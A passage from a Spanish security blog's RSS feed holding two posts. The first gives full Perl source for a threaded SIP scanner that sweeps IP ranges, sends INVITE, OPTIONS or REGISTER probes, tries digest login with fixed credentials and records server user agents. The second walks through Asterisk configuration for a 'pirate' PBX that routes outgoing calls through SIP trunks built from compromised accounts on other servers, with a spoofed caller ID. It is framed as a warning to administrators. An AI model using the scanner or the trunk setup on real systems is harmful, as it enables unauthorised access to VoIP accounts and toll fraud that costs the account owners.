				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.pepelux.org%2F2011%2F10%2F30%2Fjoomlascan-v1-3%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_linkedin" style="width:px;">
					<script type="IN/Share" data-counter="right" data-url="http://blog.pepelux.org/2011/10/30/joomlascan-v1-3/"></script>
				</div><div class="really_simple_share_buzz" style="width:px;">
					<a title="Post to Google Buzz" class="google-buzz-button" href="http://www.google.com/buzz/post" data-button-style="small-count" 
						data-url="http://blog.pepelux.org/2011/10/30/joomlascan-v1-3/"></a>
				</div><div class="really_simple_share_digg" style="width:px;">
					<script type="text/javascript" src="http://widgets.digg.com/buttons.js"></script>
					<a class="DiggThisButton DiggCompact" href="http://digg.com/submit?url=http://blog.pepelux.org/2011/10/30/joomlascan-v1-3/&amp;title=JoomlaScan v1.3"></a>	
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="JoomlaScan v1.3 (vía @pepeluxx)" data-url="http://blog.pepelux.org/2011/10/30/joomlascan-v1-3/" 
						data-via="" ></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.pepelux.org/2011/10/30/joomlascan-v1-3/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Escaner de servicios SIP</title>
		<link>http://blog.pepelux.org/2011/09/21/escaner-de-servicios-sip/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://blog.pepelux.org/2011/09/21/escaner-de-servicios-sip/#comments</comments>
		<pubDate>Wed, 21 Sep 2011 16:43:46 +0000</pubDate>
		<dc:creator>Pepelux</dc:creator>
				<category><![CDATA[Asterisk]]></category>
		<category><![CDATA[VoIP]]></category>
		<category><![CDATA[SIP]]></category>

		<guid isPermaLink="false">http://blog.pepelux.org/?p=739</guid>
		<description><![CDATA[Continuando con la VoIP, tengo otro script que he programado este verano y que se trata de un escaner de servicio SIP. ¿porqué? pues porque el más que conocido SIPvicious (http://code.google.com/p/sipvicious/) o se ha quedado viejo, o no está especialmente diseñado para Asterisk, y el svmap.py, muchas veces, no muestra los resultados esperados. En algunos [...]]]></description>
			<content:encoded><![CDATA[<p>Continuando con la VoIP, tengo otro script que he programado este verano y que se trata de un escaner de servicio SIP. ¿porqué? pues porque el más que conocido SIPvicious (<a href="http://code.google.com/p/sipvicious/">http://code.google.com/p/sipvicious/</a>) o se ha quedado viejo, o no está especialmente diseñado para Asterisk, y el <strong>svmap.py</strong>, muchas veces, no muestra los resultados esperados. En algunos escaneos hay que usar el parámetro -c y en otros no para obtener resultados válidos, dependiendo de la versión con la que te enfrentes. Con lo cual toca escanear los mismos rangos 2 veces para obtener todos los resultados.</p>
<p>Además, que el fingerprint no da muchas pistas. Es más útil la información que aparece en el user agent.</p>
<p>Bueno, y tras criticar a este fabuloso programa (el resto de herramientas de la suite SIPvicious funcionan bien xDD) pongo mi modesto script, que escanea, usando threads, (va un poco más rápido que SIPvicious) bien un host o bien un rango de IPs. Del mismo modo que puede escanear diferentes puertos a la vez.</p>
<p>También es posible indicarle el método de escaneo que deseamos, permitiendo mandar paquetes INVITE, OPTIONS o REGISTER.</p>
<p>Y sin enrollarme más, aquí va el script:</p>
<pre class="brush: perl; title: ; notranslate">
#!/usr/bin/perl
# -=-=-=-=-=-=
# Sipscan v1.0
# -=-=-=-=-=-=
#
# Pepelux &lt;pepeluxx[at]gmail[dot]com&gt;

use warnings;
use strict;
use IO::Socket;
use NetAddr::IP;
use threads;
use threads::shared;
use Getopt::Long;
use Digest::MD5;

my $maxthreads = 300;
my $time_ping = 2; # wait secs

my $threads : shared = 0;
my $found : shared = 0;
my $count : shared = 0;
my $percent : shared = 0;
my @range;
my @results;

my $host = '';	   # hosts to scan
my $port = '';	   # ports to scan
my $method = '';	# method to use (INVITE, REGISTER, OPTIONS)
my $v = 0;		   # verbose mode

my $user = &quot;100&quot;;
my $pass = &quot;aaaaaa&quot;;
my $lport = &quot;5061&quot;;
my $myip = &quot;anonymous&quot;;
my $tmpfile = &quot;sipscan&quot;.time().&quot;.txt&quot;;

open(OUTPUT,&quot;&gt;$tmpfile&quot;);

OUTPUT-&gt;autoflush(1);
STDOUT-&gt;autoflush(1);

sub init() {
	my $pini;
	my $pfin;

	if ($^O =~ /Win/) {system(&quot;cls&quot;);}else{system(&quot;clear&quot;);}

	# check params
	my $result = GetOptions (&quot;h=s&quot; =&gt; \$host,
	                         &quot;m=s&quot; =&gt; \$method,
	                         &quot;p=s&quot; =&gt; \$port,
	                         &quot;v+&quot; =&gt; \$v);

	help() if ($host eq &quot;&quot;);

	$port = &quot;5060&quot; if ($port eq &quot;&quot;);
	$method = uc($method);
	$method = &quot;OPTIONS&quot; if ($method eq &quot;&quot;);

	if ($host =~ /\-/) {
		my $ip = $host;

		$ip =~ /([0-9|\.]*)-([0-9|\.]*)/;
		my $ipini = $1;
		my $ipfin = $2;

		my $ip2 = $ipini;
		$ip2 =~ /(\d+)\.(\d+)\.(\d+)\.(\d+)/;
	  	my $ip2_1 = int($1);
	  	my $ip2_2 = int($2);
	  	my $ip2_3 = int($3);
	  	my $ip2_4 = int($4);

		my $ip3 = $ipfin;
		$ip3 =~ /(\d+)\.(\d+)\.(\d+)\.(\d+)/;
	  	my $ip3_1 = int($1);
	  	my $ip3_2 = int($2);
	  	my $ip3_3 = int($3);
	  	my $ip3_4 = int($4);

	  	for (my $i1 = $ip2_1; $i1 &lt;= $ip3_1; $i1++) {
		  	for (my $i2 = $ip2_2; $i2 &lt;= $ip3_2; $i2++) {
			  	for (my $i3 = $ip2_3; $i3 &lt;= $ip3_3; $i3++) {
				  	for (my $i4 = $ip2_4; $i4 &lt;= $ip3_4; $i4++) {
					  	$ip = &quot;$i1.$i2.$i3.$i4&quot;;
						push @range, $ip;
					}
				}
			}
		}

	}
	else {
		my $ip = new NetAddr::IP($host);

		if ($ip &lt; $ip-&gt;broadcast) {
			$ip++;

			while ($ip &lt; $ip-&gt;broadcast) {
				my $ip2 = $ip;
				$ip2 =~ /(\d+)\.(\d+)\.(\d+)\.(\d+)/;
			  	$ip2 = &quot;$1.$2.$3.$4&quot;;
				push @range, $ip2;
				$ip++;
			}
		}
		else {
			push @range, $host;
		}
	}

	if ($port =~ /\-/) {
		$port =~ /([0-9]*)-([0-9]*)/;
		$pini = $1;
		$pfin = $2;
	}
	else {
		$pini = $port;
		$pfin = $port;
	}

	my $nhost = @range;

	for (my $i = 0; $i &lt;= $nhost; $i++) {
		for (my $j = $pini; $j &lt;= $pfin; $j++) {
			while (1) {
				if ($threads &lt; $maxthreads) {
					last unless defined($range[$i]);
					my $thr = threads-&gt;new(\&amp;scan, $range[$i], $j);
					$thr-&gt;detach();
					$percent = ($count/($nhost*($pfin-$pini+1)))*100;
					$percent = sprintf(&quot;%.1f&quot;, $percent);
					print &quot;THREADS: $threads || STATUS: $percent% || FOUND: $found     \r&quot;;

					last;
				}
				else {
					sleep(1);
				}
			}
		}
	}

	sleep(1);

	close(OUTPUT);

	print &quot;THREADS: 0 || STATUS: 100% || FOUND: $found     \r\n&quot;;

	open(OUTPUT, $tmpfile);

	print &quot;\nIP:port\t\t\t  User-Agent\n&quot;;
	print &quot;=======\t\t\t  ==========\n&quot;;

	my @results = &lt;OUTPUT&gt;;
	close (OUTPUT);

	unlink($tmpfile);

	@results = sort(@results);

	foreach(@results) {
		print $_;
	}

	print &quot;\n&quot;;

	exit;
}

sub scan {
	my $ip = shift;
	my $nport = shift;

	if ($method eq &quot;REGISTER&quot;) {
		register($ip, $nport);
	}
	if ($method eq &quot;INVITE&quot;) {
		invite($ip, $nport);
	}
	if ($method eq &quot;OPTIONS&quot;) {
		options($ip, $nport);
	}
}

sub options {
	{lock($count);$count++;}
	{lock($threads);$threads++;}

	my $ip = shift;
	my $nport = shift;

	my $sc = new IO::Socket::INET-&gt;new(PeerPort=&gt;$nport, Proto=&gt;'udp', PeerAddr=&gt;$ip);

	$lport = $sc-&gt;sockport();

	my $branch = &amp;generate_random_string(71, 0);
	my $callerid = &amp;generate_random_string(32, 1);

	my $msg = &quot;OPTIONS sip:$ip SIP/2.0\n&quot;;
	$msg .= &quot;Supported: \n&quot;;
	$msg .= &quot;Allow: INVITE, ACK, OPTIONS, CANCEL, BYE\n&quot;;
	$msg .= &quot;Contact: $user &lt;sip:&quot;.$user.&quot;@&quot;.$ip.&quot;:$lport&gt;\n&quot;;
	$msg .= &quot;Via: SIP/2.0/UDP $ip:$lport;branch=$branch\n&quot;;
	$msg .= &quot;Call-id: $callerid\n&quot;;
	$msg .= &quot;Cseq: 1 OPTIONS\n&quot;;
	$msg .= &quot;From: $user &lt;sip:&quot;.$user.&quot;@&quot;.$ip.&quot;&gt;;tag=ddb044893807095baf1cf07269f03118\n&quot;;
	$msg .= &quot;Max-forwards: 70\n&quot;;
	$msg .= &quot;To: $user &lt;sip:&quot;.$user.&quot;@&quot;.$ip.&quot;&gt;\n&quot;;
	$msg .= &quot;Content-length: 0\n\n&quot;;

	print $sc $msg;

	print &quot;\nSending:\n=======\n$msg\n\n&quot; if ($v eq 1);

	my $data = &quot;&quot;;
	my $server = &quot;&quot;;
	my $useragent = &quot;&quot;;

	LOOP: {
		while (&lt;$sc&gt;) {
			my $line = $_;

			if ($line =~ /[Ss]erver/ &amp;&amp; $server eq &quot;&quot;) {
	   		$line =~ /[Ss]erver\:\s(.+)\r\n/;

		   	if ($1) {
					$server = $1;
				}
			}

			if ($line =~ /[Uu]ser\-[Aa]gent/ &amp;&amp; $useragent eq &quot;&quot;) {
	   		$line =~ /[Uu]ser\-[Aa]gent\:\s(.+)\r\n/;

		   	if ($1) {
					$useragent = $1;
				}
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				last LOOP;
			}
		}
	}

	if ($data ne &quot;&quot;) {
		if ($v eq 1) {
			print &quot;\nReceiving:\n=========\n$data\n\n&quot;;
		}

		if ($server eq &quot;&quot;) {
			$server = $useragent;
		}
		else {
			if ($useragent ne &quot;&quot;) {
				$server .= &quot; - $useragent&quot;;
			}
		}

		my $dhost = &quot;$ip:$nport&quot;;
		$dhost .= &quot;\t&quot; if (length($dhost) &lt; 10);
		$server = &quot;Unknown&quot; if ($server eq &quot;&quot;);
		print OUTPUT &quot;$dhost\t| $server\n&quot;;
		{lock($found);$found++;}
	}

	{lock($threads);$threads--;}
}

sub invite {
	{lock($count);$count++;}
	{lock($threads);$threads++;}

	my $ip = shift;
	my $nport = shift;

	my $sc = new IO::Socket::INET-&gt;new(PeerPort=&gt;$nport, Proto=&gt;'udp', PeerAddr=&gt;$ip, Timeout =&gt; 2);

	$lport = $sc-&gt;sockport();

	my $branch = &amp;generate_random_string(71, 0);
	my $callerid = &amp;generate_random_string(32, 1);

	my $msg = &quot;INVITE sip:$ip SIP/2.0\n&quot;;
	$msg .= &quot;Supported: \n&quot;;
	$msg .= &quot;Allow: INVITE, ACK, OPTIONS, CANCEL, BYE\n&quot;;
	$msg .= &quot;Contact: $user &lt;sip:&quot;.$user.&quot;@&quot;.$myip.&quot;:$lport&gt;\n&quot;;
	$msg .= &quot;Via: SIP/2.0/UDP $myip:$lport;branch=$branch\n&quot;;
	$msg .= &quot;Call-id: $callerid\n&quot;;
	$msg .= &quot;Cseq: 1 INVITE\n&quot;;
	$msg .= &quot;From: $user &lt;sip:&quot;.$user.&quot;@&quot;.$myip.&quot;&gt;;tag=ddb044893807095baf1cf07269f03118\n&quot;;
	$msg .= &quot;Max-forwards: 70\n&quot;;
	$msg .= &quot;To: $user &lt;sip:&quot;.$user.&quot;@&quot;.$ip.&quot;&gt;\n&quot;;
	$msg .= &quot;Content-length: 123\n\n&quot;;
	$msg .= &quot;v=0\n&quot;;
	$msg .= &quot;o=anonymous 1312841870 1312841870 IN IP4 $ip\n&quot;;
	$msg .= &quot;s=session\n&quot;;
	$msg .= &quot;c=IN IP4 $ip\n&quot;;
	$msg .= &quot;t=0 0\n&quot;;
	$msg .= &quot;m=audio 2362 RTP/AVP 0\n\n&quot;;

	print $sc $msg;

	print &quot;\nSending:\n=======\n$msg\n\n&quot; if ($v eq 1);

	my $data = &quot;&quot;;
	my $server = &quot;&quot;;
	my $useragent = &quot;&quot;;
	my $line = &quot;&quot;;

	LOOP: {
		while (&lt;$sc&gt;) {
			$line = $_;

			if ($line =~ /[Ss]erver/ &amp;&amp; $server eq &quot;&quot;) {
	   		$line =~ /[Ss]erver\:\s(.+)\r\n/;

		   	if ($1) {
					$server = $1;
				}
			}

			if ($line =~ /[Uu]ser\-[Aa]gent/ &amp;&amp; $useragent eq &quot;&quot;) {
	   		$line =~ /[Uu]ser\-[Aa]gent\:\s(.+)\r\n/;

		   	if ($1) {
					$useragent = $1;
				}
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				last LOOP;
			}
		}
	}

	if ($data ne &quot;&quot;) {
		if ($v eq 1) {
			print &quot;\nReceiving:\n=========\n$data\n\n&quot;;
		}

		if ($server eq &quot;&quot;) {
			$server = $useragent;
		}
		else {
			if ($useragent ne &quot;&quot;) {
				$server .= &quot; - $useragent&quot;;
			}
		}

		my $dhost = &quot;$ip:$nport&quot;;
		$dhost .= &quot;\t&quot; if (length($dhost) &lt; 10);
		$server = &quot;Unknown&quot; if ($server eq &quot;&quot;);
		print OUTPUT &quot;$dhost\t| $server\n&quot;;
		{lock($found);$found++;}
	}

	{lock($threads);$threads--;}
}

sub register {
	{lock($count);$count++;}
	{lock($threads);$threads++;}

	my $ip = shift;
	my $nport = shift;

	my $sc = new IO::Socket::INET-&gt;new(PeerPort=&gt;$nport, Proto=&gt;'udp', PeerAddr=&gt;$ip);

	$lport = $sc-&gt;sockport();

	my $branch = &amp;generate_random_string(71, 0);
	my $callerid = &amp;generate_random_string(32, 1);

	my $msg = &quot;REGISTER sip:$ip SIP/2.0\n&quot;;
	$msg .= &quot;Via: SIP/2.0/UDP $myip:$lport;branch=$branch\n&quot;;
	$msg .= &quot;Call-id: $callerid\n&quot;;
	$msg .= &quot;Contact: $user &lt;sip:&quot;.$user.&quot;@&quot;.$myip.&quot;:$lport&gt;\n&quot;;
	$msg .= &quot;Cseq: 1 REGISTER\n&quot;;
	$msg .= &quot;Expires: 900\n&quot;;
	$msg .= &quot;From: $user &lt;sip:&quot;.$user.&quot;@&quot;.$myip.&quot;&gt;;tag=ddb044893807095baf1cf07269f03118\n&quot;;
	$msg .= &quot;Max-forwards: 70\n&quot;;
	$msg .= &quot;To: $user &lt;sip:&quot;.$user.&quot;@&quot;.$ip.&quot;&gt;\n&quot;;
	$msg .= &quot;Content-length: 0\n\n&quot;;

	print $sc $msg;

	print &quot;\nSending:\n=======\n$msg\n\n&quot; if ($v eq 1);

	my $nonce = &quot;&quot;;
	my $realm = &quot;&quot;;
	my $data = &quot;&quot;;

	LOOP: {
		while (&lt;$sc&gt;) {
			my $line = $_;

			if ($line =~ /nonce/ &amp;&amp; $nonce eq &quot;&quot;) {
	   		$line =~ /nonce\=\&quot;(\w+)\&quot;/i;

		   	if ($1) {
					$nonce = $1;
				}
			}

			if ($line =~ /realm/ &amp;&amp; $realm eq &quot;&quot;) {
	   		$line =~ /realm\=\&quot;(\w+)\&quot;/i;

		   	if ($1) {
					$realm = $1;
				}
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				last LOOP;
			}
		}
	}

	if ($data ne &quot;&quot;) {
		print &quot;\nReceiving:\n=========\n$data\n\n&quot; if ($v eq 1);

		$branch = &amp;generate_random_string(71, 0);

		my $md5 = Digest::MD5-&gt;new;
		$md5-&gt;add($user, ':', $realm, ':', $pass);
		my $HXA = $md5-&gt;hexdigest;
		my $uri = &quot;sip:$ip&quot;;

		$md5 = Digest::MD5-&gt;new;
		$md5-&gt;add('REGISTER', ':', $uri);
		my $HXB = $md5-&gt;hexdigest;

		$md5 = Digest::MD5-&gt;new;
		$md5-&gt;add($HXA, ':', $nonce, ':', $HXB);
		my $response = $md5-&gt;hexdigest;

		$msg = &quot;REGISTER sip:$ip SIP/2.0\n&quot;;
		$msg .= &quot;Via: SIP/2.0/UDP $myip:$lport;branch=$branch\n&quot;;
		$msg .= &quot;Call-id: $callerid\n&quot;;
		$msg .= &quot;Contact: $user &lt;sip:&quot;.$user.&quot;:$pass@&quot;.$myip.&quot;:$lport&gt;\n&quot;;
		$msg .= &quot;Expires: 900\n&quot;;
		$msg .= &quot;From: $user &lt;sip:&quot;.$user.&quot;@&quot;.$myip.&quot;&gt;;tag=ddb044893807095baf1cf07269f03118\n&quot;;
		$msg .= &quot;Max-forwards: 70\n&quot;;
		$msg .= &quot;To: $user &lt;sip:&quot;.$user.&quot;@&quot;.$ip.&quot;&gt;\n&quot;;
		$msg .= &quot;Authorization: Digest username=\&quot;$user\&quot;,realm=\&quot;$realm\&quot;,nonce=\&quot;$nonce\&quot;,uri=\&quot;sip:$ip\&quot;,response=\&quot;$response\&quot;\n&quot;;
		$msg .= &quot;Cseq: 2 REGISTER\n&quot;;
		$msg .= &quot;Content-length: 0\n\n&quot;;

		print $sc $msg;

		print &quot;Sending:\n=======\n$msg\n\n&quot; if ($v eq 1);

		$data = &quot;&quot;;
		my $server = &quot;&quot;;

		LOOP: {
			while (&lt;$sc&gt;) {
				my $line = $_;

				if ($line =~ /[Ss]erver/ &amp;&amp; $server eq &quot;&quot;) {
		   		$line =~ /[Ss]erver\:\s(.+)\r\n/;

			   	if ($1) {
						$server = $1;
					}
				}

				$data .= $line;

				if ($line =~ /^\r\n/) {
					last LOOP;
				}
			}
		}

		if ($v eq 1) {
			print &quot;\nReceiving:\n=========\n$data\n\n&quot;;
		}

		my $dhost = &quot;$ip:$nport&quot;;
		$dhost .= &quot;\t&quot; if (length($dhost) &lt; 10);
		$server = &quot;Unknown&quot; if ($server eq &quot;&quot;);
		print OUTPUT &quot;$dhost\t| $server\n&quot;;
		{lock($found);$found++;}
	}

	{lock($threads);$threads--;}
}

sub generate_random_string {
	my $length_of_randomstring = shift;
	my $only_hex = shift;
	my @chars;

	if ($only_hex == 0) {
		@chars = ('a'..'z','0'..'9');
	}
	else {
		@chars = ('a'..'f','0'..'9');
	}
	my $random_string;
	foreach (1..$length_of_randomstring) {
		$random_string.=$chars[rand @chars];
	}
	return $random_string;
}

sub help {
	print qq{
Usage:  $0 -h &lt;host&gt; [options]

    == Options ==
      -m &lt;string&gt;      = Method: REGISTER/INVITE/OPTIONS/ALL (default: REGISTER)
      -p &lt;integer&gt;     = Remote SIP port (default: 5060)
      -v               = Verbose mode

    == Examples ==
         \$$0 -h 192.168.0.1 -m invite
         \$$0 -h 192.168.0.0/24 -p 5060-5070
         \$$0 -h 192.168.0.1-192.168.0.100 -p 5060-5070 -v

};

	exit 1;
}

init();
</pre>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.pepelux.org%2F2011%2F09%2F21%2Fescaner-de-servicios-sip%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_linkedin" style="width:px;">
					<script type="IN/Share" data-counter="right" data-url="http://blog.pepelux.org/2011/09/21/escaner-de-servicios-sip/"></script>
				</div><div class="really_simple_share_buzz" style="width:px;">
					<a title="Post to Google Buzz" class="google-buzz-button" href="http://www.google.com/buzz/post" data-button-style="small-count" 
						data-url="http://blog.pepelux.org/2011/09/21/escaner-de-servicios-sip/"></a>
				</div><div class="really_simple_share_digg" style="width:px;">
					<script type="text/javascript" src="http://widgets.digg.com/buttons.js"></script>
					<a class="DiggThisButton DiggCompact" href="http://digg.com/submit?url=http://blog.pepelux.org/2011/09/21/escaner-de-servicios-sip/&amp;title=Escaner de servicios SIP"></a>	
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Escaner de servicios SIP (vía @pepeluxx)" data-url="http://blog.pepelux.org/2011/09/21/escaner-de-servicios-sip/" 
						data-via="" ></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.pepelux.org/2011/09/21/escaner-de-servicios-sip/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Montando una centralita pirata con Asterisk</title>
		<link>http://blog.pepelux.org/2011/09/15/montando-una-centralita-pirata-con-asterisk/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://blog.pepelux.org/2011/09/15/montando-una-centralita-pirata-con-asterisk/#comments</comments>
		<pubDate>Thu, 15 Sep 2011 15:07:49 +0000</pubDate>
		<dc:creator>Pepelux</dc:creator>
				<category><![CDATA[Asterisk]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[VoIP]]></category>

		<guid isPermaLink="false">http://blog.pepelux.org/?p=744</guid>
		<description><![CDATA[Tras los robos de cuentas de VoIP hay verdaderas mafias. No sólo se trata de de alguien que hackea una cuenta y hace 4 llamadas gratis a los amigos, sino que hay, desde grupos organizados hasta locutorios que venden minutos y no pagan por ello. Lo que voy a contar, evidentemente, no es para que [...]]]></description>
			<content:encoded><![CDATA[<p>Tras los robos de cuentas de VoIP hay verdaderas mafias. No sólo se trata de de alguien que hackea una cuenta y hace 4 llamadas gratis a los amigos, sino que hay, desde grupos organizados hasta locutorios que venden minutos y no pagan por ello.</p>
<p>Lo que voy a contar, evidentemente, no es para que hackees ninguna cuenta sino para que, en caso de ser administrador de Asterisk, comprendas que las consecuencias de tener una cuenta comprometida pueden ser muy graves.</p>
<p>Vamos a ver un sencillo ejemplo de cómo configurar un Asterisk al que podemos ir añadiendo cuentas de forma indefinida.</p>
<p><a class="vt-p" href="http://blog.pepelux.org/wp-content/uploads/Diagrama_servidor_pirata.png#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="size-full wp-image-746 aligncenter" title="Diagrama_servidor_pirata" src="http://blog.pepelux.org/wp-content/uploads/Diagrama_servidor_pirata.png" alt="" width="416" height="274" /></a></p>
<p>En primer lugar, nos encontramos con un servidor Asterisk montado con un número determinado de extensiones, y al que iremos añadiendo conexiones <strong>SIP-trunk</strong> con cuentas externas, y que nos permitirán realizar las llamadas al exterior.</p>
<p>Los servidores SIP a los que conectamos los <strong>SIP-trunk</strong> son máquinas comprometidas de las que se ha obtenido alguna cuenta.</p>
<p>La configuración básica para el servidor podría ser algo así (pongo sólo 2 extensiones para no alargar mucho el post):</p>
<p>Fichero <strong>sip.conf</strong>:</p>
<pre class="brush: perl; title: ; notranslate">
[general]
defaultexpire=1800
maxexpire=3600
srvlookup=yes
language=es
nat=yes
allow=all
dtmfmode=rfc2833
canreinvite=no

[100]
type=friend
context=local
host=dynamic
secret=mipass
callerid=666666666
insecure=port,invite
call-limit=2

[101]
type=friend
context=local
host=dynamic
secret=mipass
callerid=666666666
insecure=port,invite
call-limit=2
</pre>
<p>Fichero <strong>extensions.conf</strong>:</p>
<pre class="brush: perl; title: ; notranslate">
[local]
exten =&gt; s,1,Hangup()

exten =&gt; 100,1,Answer()
exten =&gt; 100,n,Dial(SIP/100)
exten =&gt; 100,n,Hangup()

exten =&gt; 101,1,Answer()
exten =&gt; 101,n,Dial(SIP/101)
exten =&gt; 101,n,Hangup()
</pre>
<p>Con esto tendríamos montado un Asterisk básico con un par de extensiones que, de momento sólo podrían hablar entre ellos.</p>
<p>Ahora vamos a modificar la configuración y crear varios <strong>SIP-trunk</strong> con cuentas comprometidas:</p>
<p>Fichero <strong>sip.conf</strong>:</p>
<pre class="brush: perl; title: ; notranslate">
[general]
defaultexpire=1800
maxexpire=3600
srvlookup=yes
language=es
nat=yes
allow=all
dtmfmode=rfc2833
canreinvite=no

localnet=192.168.1.0/255.255.255.0

register =&gt; uservulnerable1:passvulnerable1@hostvulnerable1:5060/uservulnerable1
register =&gt; uservulnerable2:passvulnerable2@hostvulnerable1:5060/uservulnerable2
register =&gt; uservulnerable3:passvulnerable3@hostvulnerable2:5060/uservulnerable3

[proveedor1]
type=peer
context=remoto
host=hostvulnerable1
fromdomain=hostvulnerable1
defaultuser=uservulnerable1
secret=passvulnerable1
insecure=port,invite
call-limit=1000
progressinband=never
nat=yes
canreinvite=no

[proveedor2]
type=peer
context=remoto
host=hostvulnerable2
fromdomain=hostvulnerable2
defaultuser=uservulnerable2
secret=passvulnerable2
insecure=port,invite
call-limit=1000
progressinband=never
nat=yes
canreinvite=no

[proveedor3]
type=peer
context=remoto
host=hostvulnerable3
fromdomain=hostvulnerable3
defaultuser=uservulnerable3
secret=passvulnerable3
insecure=port,invite
call-limit=1000
progressinband=never
nat=yes
canreinvite=no

[100]
type=friend
context=local
host=dynamic
secret=mipass
callerid=666666666
insecure=port,invite
call-limit=2

[101]
type=friend
context=local
host=dynamic
secret=mipass
callerid=666666666
insecure=port,invite
call-limit=2
</pre>
<p>Fichero <strong>extensions.conf</strong>:</p>
<pre class="brush: perl; title: ; notranslate">
[remoto]
exten =&gt; s,1,Hangup()
exten =&gt; _X.,1,Hangup()

[local]
exten =&gt; s,1,Hangup()

exten =&gt; 100,1,Answer()
exten =&gt; 100,n,Dial(SIP/100)
exten =&gt; 100,n,Hangup()

exten =&gt; 101,1,Answer()
exten =&gt; 101,n,Dial(SIP/101)
exten =&gt; 101,n,Hangup()

exten =&gt; _X.,1,Set(CALLERID(num)=666666666)
exten =&gt; _X.,2,Dial(SIP/proveedor1/${EXTEN}:1,60)
exten =&gt; _X.,3,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten =&gt; _X.,4,Dial(SIP/proveedor2/${EXTEN}:1,60)
exten =&gt; _X.,5,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten =&gt; _X.,6,Dial(SIP/proveedor3/${EXTEN}:1,60)
exten =&gt; _X.,7,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten =&gt; _X.,100,Hangup()
</pre>
<p>Lo que hemos hecho es, en <strong>sip.conf</strong>, en la configuración <strong>general</strong>, hemos añadido:</p>
<p>localnet=192.168.1.0/255.255.255.0 # indica nuestra red local (sólo si nuestro Asterisk conecta desde una red local y necesita el uso de NAT para salir)</p>
<p>register =&gt; uservulnerable1:passvulnerable1@hostvulnerable1:5060/uservulnerable1 # registro de un primer usuario en el host vulnerable 1<br />
register =&gt; uservulnerable2:passvulnerable2@hostvulnerable1:5060/uservulnerable2 # registro de un segundo usuario en el host vulnerable 1<br />
register =&gt; uservulnerable3:passvulnerable3@hostvulnerable2:5060/uservulnerable3 # registro de un primer usuario en el host vulnerable 2</p>
<p>Con esto tenemos creados 3 <strong>SIP-trunk</strong> con diferentes cuentas. Por otro lado:</p>
<p>[proveedorX]<br />
type=peer<br />
context=remoto<br />
host=hostvulnerableX<br />
fromdomain=hostvulnerableX<br />
defaultuser=uservulnerableX<br />
secret=passvulnerableX<br />
insecure=port,invite<br />
call-limit=1000<br />
progressinband=never<br />
nat=yes<br />
canreinvite=no</p>
<p>Aquí definimos las 3 cuentas (como proveedor1, proveedor2 y proveedor3), con sus usuarios y contraseñas correspondientes, e indicando que el contexto que debe usar en <strong>extensions.conf</strong> se llama <strong>remoto</strong>. Además le hemos dejado la posibilidad de realizar 1000 llamadas simultáneas (nunca sabemos cuál es el tope que tiene el usuario).</p>
<p>Por otro lado, en <strong>extensions.conf</strong>:</p>
<p>[remoto]<br />
exten =&gt; s,1,Hangup()<br />
exten =&gt; _X.,1,Hangup()</p>
<p>Si nos llama alguien de fuera, directamente colgamos sin atender la llamada.</p>
<p>Y dentro del contexto <strong>local</strong> hemos añadido:</p>
<p>exten =&gt; _X.,1,Set(CALLERID(num)=666666666)<br />
exten =&gt; _X.,2,Dial(SIP/proveedor1/${EXTEN}:1,60)<br />
exten =&gt; _X.,3,GotoIf($[${DIALSTATUS} = ANSWERED]?100)<br />
exten =&gt; _X.,4,Dial(SIP/proveedor2/${EXTEN}:1,60)<br />
exten =&gt; _X.,5,GotoIf($[${DIALSTATUS} = ANSWERED]?100)<br />
exten =&gt; _X.,6,Dial(SIP/proveedor3/${EXTEN}:1,60)<br />
exten =&gt; _X.,7,GotoIf($[${DIALSTATUS} = ANSWERED]?100)<br />
exten =&gt; _X.,100,Hangup()</p>
<p>Esto es para sacar las llamadas al exterior y, básicamente lo que ha es intentar salir con el proveedor1, si no lo consigue, prueba con el 2, y así sucesivamente. Para las llamadas al exterior usará como identificador de llamada el número 666666666.</p>
<p>Con esta configuración básica sobra con ir añadiendo cuentas y contextos con cada usuario hackeado que se obtenga. Además según la configuración que tenga cada usuario comprometido en <strong>call-limit</strong>, en el <strong>sip.conf</strong> de su Asterisk, podremos realizar más o menos llamadas simultáneas usando esa cuenta. Es decir, si un usuario tiene como <strong>call-limit</strong> 10, podremos hacer 10 llamadas a la vez usando ese mismo usuario.</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.pepelux.org%2F2011%2F09%2F15%2Fmontando-una-centralita-pirata-con-asterisk%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
